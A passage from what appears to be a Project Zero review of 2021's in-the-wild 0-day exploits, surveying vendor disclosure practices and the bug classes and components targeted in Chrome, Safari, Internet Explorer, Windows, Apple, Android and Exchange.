last few years) first began labeling vulnerabilities in their security advisories with the information about potential in-the-wild exploitation in November 2020 and January 2021 respectively. When vendors don\u2019t annotate their release notes, the only way we know that a 0-day was exploited in-the-wild is if the researcher who discovered the exploitation comes forward. If Apple and Google Android had not begun annotating their release notes, the public would likely not know about at least 7 of the Apple in-the-wild 0-days and 5 of the Android in-the-wild 0-days. Why? Because these vulnerabilities were reported by \u201cAnonymous\u201d reporters. If the reporters didn\u2019t want credit for the vulnerability, it\u2019s unlikely that they would have gone public to say that there were indications of exploitation. That is 12 0-days that wouldn\u2019t have been included in this year\u2019s list if Apple and Google Android had not begun transparently annotating their security advisories. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPe_J-0Wu9Ap-0n3Yj5BoXiWTnjViyyGasIChhb3juADZosK9nTbyiaWtzuRyjwG3frQNjLsvRMRoQHrFfo1iKa3GjmcuLHqat40GcoechQ16XbhpVGwF7m_TJ0Oucvy3wvm8x0aXbVnJfhkG2FNkxI4cJf5ONBqEYnPxQDUmZChvByLHE8OzSU20N/s1200/image3%287%29.png>)\n\nKudos and thank you to Microsoft, Google Chrome, and Adobe who have been annotating their security bulletins for transparency for multiple years now! And thanks to Apache who also annotated their release notes for [CVE-2021-41773](<https://httpd.apache.org/security/vulnerabilities_24.html>) this past year. \n\nIn-the-wild 0-days in Qualcomm and ARM products were annotated as in-the-wild in Android security bulletins, but not in the vendor\u2019s own security advisories.\n\nIt's highly likely that in 2021, there were other 0-days that were exploited in the wild and detected, but vendors did not mention this in their release notes. In 2022, we hope that more vendors start noting when they patch vulnerabilities that have been exploited in-the-wild. Until we\u2019re confident that all vendors are transparently disclosing in-the-wild status, there\u2019s a big question of how many in-the-wild 0-days are discovered, but not labeled publicly by vendors.\n\n# New Year, Old Techniques\n\nWe had a record number of \u201cdata points\u201d in 2021 to understand how attackers are actually using 0-day exploits. A bit surprising to us though, out of all those data points, there was nothing new amongst all this data. 0-day exploits are considered one of the most advanced attack methods an actor can use, so it would be easy to conclude that attackers must be using special tricks and attack surfaces. But instead, the 0-days we saw in 2021 generally followed the same bug patterns, attack surfaces, and exploit \u201cshapes\u201d previously seen in public research. Once \u201c0-day is hard\u201d, we\u2019d expect that to be successful, attackers would have to find new bug classes of vulnerabilities in new attack surfaces using never before seen exploitation methods. In general, that wasn't what the data showed us this year. With two exceptions (described below in the iOS section) out of the 58, everything we saw was pretty \u201c[meh](<https://www.dictionary.com/browse/meh#:~:text=unimpressive%3B%20boring%3A>)\u201d or standard.\n\nOut of the 58 in-the-wild 0-days for the year, 39, or 67% were memory corruption vulnerabilities. Memory corruption vulnerabilities have been the standard for attacking software for the last few decades and it\u2019s still how attackers are having success. Out of these memory corruption vulnerabilities, the majority also stuck with very popular and well-known bug classes:\n\n * 17 use-after-free\n * 6 out-of-bounds read & write\n * 4 buffer overflow\n * 4 integer overflow\n\nIn the next sections we\u2019ll dive into each major platform that we saw in-the-wild 0-days for this year. We\u2019ll share the trends and explain why what we saw was pretty unexceptional.\n\n## Chromium (Chrome)\n\nChromium had a record high number of 0-days detected and disclosed in 2021 with 14. Out of these 14, 10 were renderer remote code execution bugs, 2 were sandbox escapes, 1 was an infoleak, and 1 was used to open a webpage in Android apps other than Google Chrome.\n\nThe 14 0-day vulnerabilities were in the following components:\n\n * 6 JavaScript Engine - v8 ([CVE-2021-21148](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30551](<https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html>), [CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>), [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>), [CVE-2021-37975](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-37975.html>), [CVE-2021-38003](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>))\n * 2 DOM Engine - Blink ([CVE-2021-21193](<https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html>) & [CVE-2021-21206](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>))\n * 1 WebGL ([CVE-2021-30554](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop_17.html>))\n * 1 IndexedDB ([CVE-2021-30633](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>))\n * 1 webaudio ([CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>))\n * 1 Portals ([CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>))\n * 1 Android Intents ([CVE-2021-38000](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-38000.html>))\n * 1 Core ([CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>))\n\nWhen we look at the components targeted by these bugs, they\u2019re all attack surfaces seen before in public security research and previous exploits. If anything, there are a few less DOM bugs and more targeting these other components of browsers like IndexedDB and WebGL than previously. 13 out of the 14 Chromium 0-days were memory corruption bugs. Similar to last year, most of those memory corruption bugs are use-after-free vulnerabilities.\n\nA couple of the Chromium bugs were even similar to previous in-the-wild 0-days. [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>) is an issue in ScriptProcessorNode::Process() in webaudio where there\u2019s insufficient locks such that buffers are accessible in both the main thread and the audio rendering thread at the same time. [CVE-2019-13720](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-13720.html>) is an in-the-wild 0-day from 2019. It was a vulnerability in ConvolverHandler::Process() in webaudio where there were also insufficient locks such that a buffer was accessible in both the main thread and the audio rendering thread at the same time.\n\n[CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) is another Chromium in-the-wild 0-day from 2021. It\u2019s a type confusion in the TurboFan JIT in Chromium\u2019s JavaScript Engine, v8, where Turbofan fails to deoptimize code after a property map is changed. [CVE-2021-30632](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30632.html>) in particular deals with code that stores global properties. [CVE-2020-16009](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-16009.html>) was also an in-the-wild 0-day that was due to Turbofan failing to deoptimize code after map deprecation.\n\n## WebKit (Safari)\n\nPrior to 2021, Apple had only acknowledged 1 publicly known in-the-wild 0-day targeting WebKit/Safari, and that was due the sharing by an external researcher. In 2021 there were 7. This makes it hard for us to assess trends or changes since we don\u2019t have historical samples to go off of. Instead, we\u2019ll look at 2021\u2019s WebKit bugs in the context of other Safari bugs not known to be in-the-wild and other browser in-the-wild 0-days. \n\nThe 7 in-the-wild 0-days targeted the following components:\n\n * 4 Javascript Engine - JavaScript Core ([CVE-2021-1870](<https://support.apple.com/en-us/HT212146>), [CVE-2021-1871](<https://support.apple.com/en-us/HT212146>), [CVE-2021-30663](<https://support.apple.com/en-us/HT212336>), [CVE-2021-30665](<https://support.apple.com/en-us/HT212336>))\n * 1 IndexedDB ([CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>))\n * 1 Storage ([CVE-2021-30661](<https://support.apple.com/en-us/HT212317>))\n * 1 Plugins ([CVE-2021-1879](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1879.html>))\n\nThe one semi-surprise is that no DOM bugs were detected and disclosed. In previous years, vulnerabilities in the DOM engine have generally made up 15-20% of the in-the-wild browser 0-days, but none were detected and disclosed for WebKit in 2021. \n\nIt would not be surprising if attackers are beginning to shift to other modules, like third party libraries or things like IndexedDB. The modules may be more promising to attackers going forward because there\u2019s a better chance that the vulnerability may exist in multiple browsers or platforms. For example, the webaudio bug in Chromium, [CVE-2021-21166](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-21166.html>), also existed in WebKit and was fixed as [CVE-2021-1844](<https://support.apple.com/en-us/HT212223>), though there was no evidence it was exploited in-the-wild in WebKit. The IndexedDB in-the-wild 0-day that was used against Safari in 2021, [CVE-2021-30858](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-30858.html>), was very, very similar to a [bug fixed in Chromium in January 2020](<https://bugs.chromium.org/p/chromium/issues/detail?id=1032890>).\n\n## Internet Explorer\n\nSince we began tracking in-the-wild 0-days, Internet Explorer has had a pretty consistent number of 0-days each year. 2021 actually tied 2016 for the most in-the-wild Internet Explorer 0-days we\u2019ve ever tracked even though Internet Explorer\u2019s market share of web browser users continues to decrease.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbMTlnGhVLcVL8K20S3s6hSrpyB6kZAA9CWvWNpn1isbEbLFv0c2rs_dPvM0ALT45NtTvyhp8rGehGDRIAEJ6OZYSkk5mezOEoPJOquVXXyHeqrVOvRGEiQHv_J7Je8Itjc5qhwXMCR-E4y79abuxiddCYoeF2VrVakY-L1q82NeMEPjTA0fFC-t8h/s1200/image4%286%29.png>)\n\nSo why are we seeing so little change in the number of in-the-wild 0-days despite the change in market share? Internet Explorer is still a ripe attack surface for initial entry into Windows machines, even if the user doesn\u2019t use Internet Explorer as their Internet browser. While the number of 0-days stayed pretty consistent to what we\u2019ve seen in previous years, the components targeted and the delivery methods of the exploits changed. 3 of the 4 0-days seen in 2021 targeted the MSHTML browser engine and were delivered via methods other than the web. Instead they were delivered to targets via Office documents or other file formats. \n\nThe four 0-days targeted the following components:\n\n * MSHTML browser engine ([CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>), [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-33742.html>), [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>))\n * Javascript Engine - JScript9 ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>))\n\nFor [CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) targets of the campaign initially received a .mht file, which prompted the user to open in Internet Explorer. Once it was opened in Internet Explorer, the exploit was downloaded and run. [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) and [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) were delivered to targets via malicious Office documents.\n\n[CVE-2021-26411](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26411.html>) and [CVE-2021-33742](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-33742.html>) were two common memory corruption bug patterns: a use-after-free due to a user controlled callback in between two actions using an object and the user frees the object during that callback and a buffer overflow.\n\nThere were a few different vulnerabilities used in the exploit chain that used [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>), but the one within MSHTML was that as soon as the Office document was opened the payload would run: a CAB file was downloaded, decompressed, and then a function from within a DLL in that CAB was executed. Unlike the previous two MSHTML bugs, this was a logic error in URL parsing rather than a memory corruption bug.\n\n## Windows\n\nWindows is the platform where we\u2019ve seen the most change in components targeted compared with previous years. However, this shift has generally been in progress for a few years and predicted with the end-of-life of Windows 7 in 2020 and thus why it\u2019s still not especially novel.\n\nIn 2021 there were 10 Windows in-the-wild 0-days targeting 7 different components:\n\n * 2 Enhanced crypto provider ([CVE-2021-31199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31199>), [CVE-2021-31201](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31201>))\n * 2 NTOS kernel ([CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>), [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>))\n * 2 Win32k ([CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>), [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>))\n * 1 Windows update medic ([CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>)) \n * 1 SuperFetch ([CVE-2021-31955](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31955>))\n * 1 dwmcore.dll ([CVE-2021-28310](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310>))\n * 1 ntfs.sys ([CVE-2021-31956](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31956>))\n\nThe number of different components targeted is the shift from past years. For example, in 2019 75% of Windows 0-days targeted Win32k while in 2021 Win32k only made up 20% of the Windows 0-days. The reason that this was expected and predicted was that 6 out of 8 of those 0-days that targeted Win32k in 2019 did not target the latest release of Windows 10 at that time; they were targeting older versions. With Windows 10 Microsoft began dedicating more and more resources to locking down the attack surface of Win32k so as those older versions have hit end-of-life, Win32k is a less and less attractive attack surface.\n\nSimilar to the many Win32k vulnerabilities seen over the years, the two 2021 Win32k in-the-wild 0-days are due to custom user callbacks. The user calls functions that change the state of an object during the callback and Win32k does not correctly handle those changes. [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) is a type confusion vulnerability due to a user callback in xxxClientAllocWindowClassExtraBytes which leads to out-of-bounds read and write. If NtUserConsoleControl is called during the callback a flag is set in the window structure to signal that a field is an offset into the kernel heap. xxxClientAllocWindowClassExtraBytes doesn\u2019t check this and writes that field as a user-mode pointer without clearing the flag. The first in-the-wild 0-day detected and disclosed in 2022, [CVE-2022-21882](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-21882.html>), is due to [CVE-2021-1732](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) actually not being fixed completely. The attackers found a way to bypass the original patch and still trigger the vulnerability. [CVE-2021-40449](<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>) is a use-after-free in NtGdiResetDC due to the object being freed during the user callback. \n\n## iOS/macOS\n\nAs discussed in the \u201cMore disclosure\u201d section above, 2021 was the first full year that Apple annotated their release notes with in-the-wild status of vulnerabilities. 5 iOS in-the-wild 0-days were detected and disclosed this year. The first publicly known macOS in-the-wild 0-day ([CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>)) was also found. In this section we\u2019re going to discuss iOS and macOS together because: 1) the two operating systems include similar components and 2) the sample size for macOS is very small (just this one vulnerability).\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPGaOlQUGIYyvpDY_M0rGh3JekH4mwXHfN459HYcklg74v4Mfp8j6fgh2SM09mjhA4svdgN_TdSN3R5Bb-DJTHnlo63qnRTsvLs1EZgAE3fBpRtsZhxKhyBNTb_khdS6mNT3EtSHnS_R-TshtHx-gSWnEPpHjmSqO_9Y7JxupGcDKZ0-xwsxgbX6zR/s1200/image6%284%29.png>)\n\nFor the 5 total iOS and macOS in-the-wild 0-days, they targeted 3 different attack surfaces:\n\n * IOMobileFrameBuffer ([CVE-2021-30807](<https://support.apple.com/en-us/HT212623>), [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>))\n * XNU Kernel ([CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) & [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>))\n * CoreGraphics ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>))\n * CommCenter ([FORCEDENTRY sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>) \\- CVE requested, not yet assigned)\n\nThese 4 attack surfaces are not novel. IOMobileFrameBuffer has been a target of public security research for many years. For example, the Pangu Jailbreak from 2016 used [CVE-2016-4654](<https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf>), a heap buffer overflow in IOMobileFrameBuffer. IOMobileFrameBuffer manages the screen\u2019s frame buffer. For iPhone 11 (A13) and below, IOMobileFrameBuffer was a kernel driver. Beginning with A14, it runs on a coprocessor, the DCP. It\u2019s a popular attack surface because historically it\u2019s been accessible from sandboxed apps. In 2021 there were two in-the-wild 0-days in IOMobileFrameBuffer. [CVE-2021-30807](<https://support.apple.com/en-us/HT212623>) is an out-of-bounds read and [CVE-2021-30883](<https://support.apple.com/en-us/HT212846>) is an integer overflow, both common memory corruption vulnerabilities. In 2022, we already have another in-the-wild 0-day in IOMobileFrameBuffer, [CVE-2022-22587](<https://support.apple.com/en-us/HT213053>).\n\nOne iOS 0-day and the macOS 0-day both exploited vulnerabilities in the XNU kernel and both vulnerabilities were in code related to XNU\u2019s inter-process communication (IPC) functionality. [CVE-2021-1782](<https://support.apple.com/en-us/HT212146>) exploited a vulnerability in mach vouchers while [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) exploited a vulnerability in mach messages. This is not the first time we\u2019ve seen iOS in-the-wild 0-days, much less public security research, targeting mach vouchers and mach messages. [CVE-2019-6625](<https://support.apple.com/en-us/HT209443>) was exploited as a part of [an exploit chain targeting iOS 11.4.1-12.1.2](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>) and was also a [vulnerability in mach vouchers](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>). \n\nMach messages have also been a popular target for public security research. In 2020 there were two in-the-wild 0-days also in mach messages: [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>) & [CVE-2020-27950](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27950.html>). This year\u2019s [CVE-2021-30869](<https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/>) is a pretty close variant to 2020\u2019s [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). Tielei Wang and Xinru Chi actually [presented on this vulnerability at zer0con 2021](<https://github.com/wangtielei/Slides/blob/main/zer0con21.pdf>) in April 2021. In their presentation, they explained that they found it while doing variant analysis on [CVE-2020-27932](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2020/CVE-2020-27932.html>). [TieLei Wang explained via Twitter](<https://twitter.com/WangTielei/status/1486266258152726530>) that they had found the vulnerability in December 2020 and had noticed it was fixed in beta versions of iOS 14.4 and macOS 11.2 which is why they presented it at Zer0Con. The in-the-wild exploit only targeted macOS 10, but used the same exploitation technique as the one presented.\n\nThe two FORCEDENTRY exploits ([CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>) and the [sandbox escape](<https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html>)) were the only times that made us all go \u201cwow!\u201d this year. For [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the integer overflow in CoreGraphics, it was because: \n\n 1. For years we\u2019ve all heard about how attackers are using 0-click iMessage bugs and finally we have a public example, and\n 2. The exploit was an impressive work of art. \n\nThe sandbox escape (CVE requested, not yet assigned) was impressive because it\u2019s one of the few times we\u2019ve seen a sandbox escape in-the-wild that uses only logic bugs, rather than the standard memory corruption bugs. \n\nFor [CVE-2021-30860](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), the vulnerability itself wasn\u2019t especially notable: a classic integer overflow within the JBIG2 parser of the CoreGraphics PDF decoder. The exploit, though, was described by Samuel Gro\u00df & Ian Beer as \u201cone of the most technically sophisticated exploits [they]\u2019ve ever seen\u201d. [Their blogpost shares all the details](<https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html>), but the highlight is that the exploit uses the logical operators available in JBIG2 to build NAND gates which are used to build its own computer architecture. The exploit then writes the rest of its exploit using that new custom architecture. From their blogpost:\n\nUsing over 70,000 segment commands defining logical bit operations, they define a small computer architecture with features such as registers and a full 64-bit adder and comparator which they use to search memory and perform arithmetic operations. It's not as fast as Javascript, but it's fundamentally computationally equivalent.\n\nThe bootstrapping operations for the sandbox escape exploit are written to run on this logic circuit and the whole thing runs in this weird, emulated environment created out of a single decompression pass through a JBIG2 stream. It's pretty incredible, and at the same time, pretty terrifying.\n\nThis is an example of what making 0-day exploitation hard could look like: attackers having to develop a new and novel way to exploit a bug and that method requires lots of expertise and/or time to develop. This year, the two FORCEDENTRY exploits were the only 0-days out of the 58 that really impressed us. Hopefully in the future, the bar has been raised such that this will be required for any successful exploitation.\n\n## Android\n\nThere were 7 Android in-the-wild 0-days detected and disclosed this year. Prior to 2021 there had only been 1 and it was in 2019: [CVE-2019-2215](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html>). Like WebKit, this lack of data makes it hard for us to assess trends and changes. Instead, we\u2019ll compare it to public security research.\n\nFor the 7 Android 0-days they targeted the following components:\n\n * Qualcomm Adreno GPU driver ([CVE-2020-11261](<https://source.android.com/security/bulletin/2021-01-01>), [CVE-2021-1905](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html>), [CVE-2021-1906](<https://source.android.com/security/bulletin/2021-05-01>))\n * ARM Mali GPU driver ([CVE-2021-28663](<https://source.android.com/security/bulletin/2021-05-01>), [CVE-2021-28664](<https://source.android.com/security/bulletin/2021-05-01>))\n * Upstream Linux kernel ([CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>), [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>))\n\n5 of the 7 0-days from 2021 targeted GPU drivers. This is actually not that surprising when we consider the evolution of the Android ecosystem as well as recent public security research into Android. The Android ecosystem is quite fragmented: many different kernel versions, different manufacturer customizations, etc. If an attacker wants a capability against \u201cAndroid devices\u201d, they generally need to maintain many different exploits to have a decent percentage of the Android ecosystem covered. However, if the attacker chooses to target the GPU kernel driver instead of another component, they will only need to have two exploits since most Android devices use 1 of 2 GPUs: either the Qualcomm Adreno GPU or the ARM Mali GPU. \n\nPublic security research mirrored this choice in the last couple of years as well. When developing full exploit chains (for defensive purposes) to target Android devices, [Guang Gong](<https://github.com/secmob/TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices/blob/master/us-20-Gong-TiYunZong-An-Exploit-Chain-to-Remotely-Root-Modern-Android-Devices-wp.pdf>), [Man Yue Mo](<https://securitylab.github.com/research/one_day_short_of_a_fullchain_android/>), and [Ben Hawkes](<https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html>) all chose to attack the GPU kernel driver for local privilege escalation. Seeing the in-the-wild 0-days also target the GPU was more of a confirmation rather than a revelation. Of the 5 0-days targeting GPU drivers, 3 were in the Qualcomm Adreno driver and 2 in the ARM Mali driver. \n\nThe two non-GPU driver 0-days ([CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) and [CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>)) targeted the upstream Linux kernel. Unfortunately, these 2 bugs shared a singular characteristic with the Android in-the-wild 0-day seen in 2019: all 3 were previously known upstream before their exploitation in Android. While the sample size is small, it\u2019s still quite striking to see that 100% of the known in-the-wild Android 0-days that target the kernel are bugs that actually were known about before their exploitation.\n\nThe vulnerability now referred to as [CVE-2021-0920](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>) was actually found in September 2016 and [discussed on the Linux kernel mailing lists](<https://lore.kernel.org/lkml/CAOssrKcfncAYsQWkfLGFgoOxAQJVT2hYVWdBA6Cw7hhO8RJ_wQ@mail.gmail.com/>). A [patch was even developed back in 2016](<https://lore.kernel.org/lkml/1475150954-10152-1-git-send-email-mszeredi@redhat.com/>), but it didn\u2019t end up being submitted. The bug was finally [fixed in the Linux kernel in July 2021](<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=cbcf01128d0a92e131bd09f1688fe032480b65ca>) after the detection of the in-the-wild exploit targeting Android. The patch then made it into the [Android security bulletin in November 2021](<https://source.android.com/security/bulletin/2021-11-01#kernel-components>).\n\n[CVE-2021-1048](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html>) remained unpatched in Android for 14 months after it was patched in the Linux kernel. The Linux kernel was actually only vulnerable to the issue for a few weeks, but due to Android patching practices, that few weeks became almost a year for some Android devices. If an Android OEM synced to the upstream kernel, then they likely were patched against the vulnerability at some point. But many devices, such as recent Samsung devices, had not and thus were left vulnerable.\n\n## Microsoft Exchange Server\n\nIn 2021, there were 5 in-the-wild 0-days targeting Microsoft Exchange Server. This is the first time any Exchange Server in-the-wild 0-days have been detected and disclosed since we began tracking in-the-wild 0-days. The first four ([CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>), [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>)) were all disclosed and patched at the same time and used together in a [single operation](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>). The fifth ([CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>)) was patched on its own in November 2021. [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) was demonstrated at Tianfu Cup and then discovered in-the-wild by Microsoft. While no other in-the-wild 0-days were disclosed as part of the chain with [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), the attackers would have required at least another 0-day for successful exploitation since [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>) is a post-authentication bug.\n\nOf the four Exchange in-the-wild 0-days used in the first campaign, [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>), which is also known as \u201cProxyLogon\u201d, is the only one that\u2019s pre-auth. [CVE-2021-26855](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-26855.html>) is a server side request forgery (SSRF) vulnerability that allows unauthenticated attackers to send arbitrary HTTP requests as the Exchange server. The other three vulnerabilities were post-authentication. For example, [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) and [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) allowed attackers to write arbitrary files to the system. [CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is a remote code execution vulnerability due to a deserialization bug in the Unified Messaging service. This allowed attackers to run code as the privileged SYSTEM user.\n\nFor the second campaign, [CVE-2021-42321](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321>), like [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>), is a post-authentication RCE vulnerability due to insecure deserialization. It seems that while attempting to harden Exchange, Microsoft inadvertently introduced another deserialization vulnerability.\n\nWhile there were a significant amount of 0-days in Exchange detected and disclosed in 2021, it\u2019s important to remember that they were all used as 0-day in only two different campaigns. This is an example of why we don\u2019t suggest using the number of 0-days in a product as a metric to assess the security of a product. Requiring the use of four 0-days for attackers to have success is preferable to an attacker only needing one 0-day to successfully gain access.\n\nWhile this is the first time Exchange in-the-wild 0-days have been detected and disclosed since Project Zero began our tracking, this is not unexpected. In 2020 there was [n-day exploitation of Exchange Servers](<https://www.cisa.gov/uscert/ncas/current-activity/2020/03/10/unpatched-microsoft-exchange-servers-vulnerable-cve-2020-0688>). Whether this was the first year that attackers began the 0-day exploitation or if this was the first year that defenders began detecting the 0-day exploitation, this is not an unexpected evolution and we\u2019ll likely see it continue into 2022.\n\n# Outstanding Questions\n\nWhile there has been progress on detection and disclosure, that progress has shown just how much work there still is to do. The more data we gained, the more questions that arose about biases in detection, what we\u2019re missing and why, and the need for more transparency from both vendors and researchers.\n\nUntil the day that attackers decide to happily share all their exploits with us, we can\u2019t fully know what percentage of 0-days are publicly known about. However when we pull together our expertise as security researchers and anecdotes from others in the industry, it paints a picture of some of the data we\u2019re very likely missing. From that, these are some of the key questions we\u2019re asking ourselves as we move into 2022:\n\n## Where are the [x] 0-days?\n\nDespite the number of 0-days found in 2021, there are key targets missing from the 0-days discovered. For example, we know that messaging applications like WhatsApp, Signal, Telegram, etc. are targets of interest to attackers and yet there\u2019s only 1 messaging app, in this case iMessage, 0-day found this past year. Since we began tracking in mid-2014 the total is two: a WhatsApp 0-day in 2019 and this iMessage 0-day found in 2021.\n\nAlong with messaging apps, there are other platforms/targets we\u2019d expect to see 0-days targeting, yet there are no or very few public examples. For example, since mid-2014 there\u2019s only one in-the-wild 0-day each for macOS and Linux. There are no known in-the-wild 0-days targeting cloud, CPU vulnerabilities, or other phone components such as the WiFi chip or the baseband.\n\nThis leads to the question of whether these 0-days are absent due to lack of detection, lack of disclosure, or both?\n\n## Do some vendors have no known in-the-wild 0-days because 